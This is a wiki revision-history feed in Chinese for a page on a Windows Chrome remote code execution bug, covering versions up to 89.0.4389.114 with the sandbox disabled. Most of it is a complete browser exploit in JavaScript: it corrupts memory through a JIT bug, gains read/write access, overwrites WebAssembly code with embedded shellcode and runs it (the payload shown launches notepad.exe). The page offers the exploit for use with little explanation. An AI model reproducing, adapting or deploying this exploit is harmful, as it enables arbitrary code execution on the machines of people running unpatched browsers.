https://pwnwiki.com/index.php?action=history&feed=atom&title=Windows_Chrome_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E 2026-04-10T00:11:54Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=Windows_Chrome_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=1701&oldid=prev 2021-04-16T03:31:03Z

<p></p> <table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface"> <col class="diff-marker" /> <col class="diff-content" /> <col class="diff-marker" /> <col class="diff-content" /> <tr class="diff-title" lang="chinese"> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Older revision</td> <td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Revision as of 03:31, 16 April 2021</td> </tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l1" >Line 1:</td> <td colspan="2" class="diff-lineno">Line 1:</td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>==影響版本==</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>==影響版本==</div></td></tr> <tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del class="diffchange diffchange-inline">小於89</del>.0.4389.114</div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><ins class="diffchange diffchange-inline">小於等於89</ins>.0.4389.114</div></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr> <tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>注意：需要關閉沙箱。</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>注意：需要關閉沙箱。</div></td></tr> <!-- diff cache key pwn_wiki:diff::1.12:old-1700:rev-1701 --> </table>

Pwnwiki https://pwnwiki.com/index.php?title=Windows_Chrome_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&diff=1700&oldid=prev 2021-04-16T03:30:33Z

<p>Created page with &quot;==影響版本== 小於89.0.4389.114 注意：需要關閉沙箱。 ==EXP== &lt;pre&gt; &lt;script&gt; function gc() { for (var i = 0; i &lt; 0x80000; ++i) { var a =...&quot;</p> <p><b>New page</b></p><div>==影響版本==<br /> 小於89.0.4389.114<br /> <br /> 注意：需要關閉沙箱。<br /> ==EXP==<br /> &lt;pre&gt;<br /> &lt;script&gt;<br /> function gc() {<br /> for (var i = 0; i &lt; 0x80000; ++i) {<br /> var a = new ArrayBuffer();<br /> }<br /> }<br /> let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,<br /> 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,<br /> 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,<br /> 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,<br /> 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,<br /> 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,<br /> 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,<br /> 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,<br /> 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,<br /> 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,<br /> 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,<br /> 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,<br /> 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,<br /> 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,<br /> 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,<br /> 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,<br /> 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,<br /> 0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];<br /> var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);<br /> var wasmModule = new WebAssembly.Module(wasmCode);<br /> var wasmInstance = new WebAssembly.Instance(wasmModule);<br /> var main = wasmInstance.exports.main;<br /> var bf = new ArrayBuffer(8);<br /> var bfView = new DataView(bf);<br /> function fLow(f) {<br /> bfView.setFloat64(0, f, true);<br /> return (bfView.getUint32(0, true));<br /> }<br /> function fHi(f) {<br /> bfView.setFloat64(0, f, true);<br /> return (bfView.getUint32(4, true))<br /> }<br /> function i2f(low, hi) {<br /> bfView.setUint32(0, low, true);<br /> bfView.setUint32(4, hi, true);<br /> return bfView.getFloat64(0, true);<br /> }<br /> function f2big(f) {<br /> bfView.setFloat64(0, f, true);<br /> return bfView.getBigUint64(0, true);<br /> }<br /> function big2f(b) {<br /> bfView.setBigUint64(0, b, true);<br /> return bfView.getFloat64(0, true);<br /> }<br /> class LeakArrayBuffer extends ArrayBuffer {<br /> constructor(size) {<br /> super(size);<br /> this.slot = 0xb33f;<br /> }<br /> }<br /> function foo(a) {<br /> let x = -1;<br /> if (a) x = 0xFFFFFFFF;<br /> var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));<br /> arr.shift();<br /> let local_arr = Array(2);<br /> local_arr[0] = 5.1;//4014666666666666<br /> let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8<br /> arr[0] = 0x1122;<br /> return [arr, local_arr, buff];<br /> }<br /> for (var i = 0; i &lt; 0x10000; ++i)<br /> foo(false);<br /> gc(); gc();<br /> [corrput_arr, rwarr, corrupt_buff] = foo(true);<br /> corrput_arr[12] = 0x22444;<br /> delete corrput_arr;<br /> function setbackingStore(hi, low) {<br /> rwarr[4] = i2f(fLow(rwarr[4]), hi);<br /> rwarr[5] = i2f(low, fHi(rwarr[5]));<br /> }<br /> function leakObjLow(o) {<br /> corrupt_buff.slot = o;<br /> return (fLow(rwarr[9]) - 1);<br /> }<br /> let corrupt_view = new DataView(corrupt_buff);<br /> let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);<br /> let idx0Addr = corrupt_buffer_ptr_low - 0x10;<br /> let baseAddr = (corrupt_buffer_ptr_low &amp; 0xffff0000) - ((corrupt_buffer_ptr_low &amp; 0xffff0000) % 0x40000) + 0x40000;<br /> let delta = baseAddr + 0x1c - idx0Addr;<br /> if ((delta % 8) == 0) {<br /> let baseIdx = delta / 8;<br /> this.base = fLow(rwarr[baseIdx]);<br /> } else {<br /> let baseIdx = ((delta - (delta % 8)) / 8);<br /> this.base = fHi(rwarr[baseIdx]);<br /> }<br /> let wasmInsAddr = leakObjLow(wasmInstance);<br /> setbackingStore(wasmInsAddr, this.base);<br /> let code_entry = corrupt_view.getFloat64(13 * 8, true);<br /> setbackingStore(fLow(code_entry), fHi(code_entry));<br /> for (let i = 0; i &lt; shellcode.length; i++) {<br /> corrupt_view.setUint8(i, shellcode[i]);<br /> }<br /> main();<br /> &lt;/script&gt;<br /> &lt;/pre&gt;</div>

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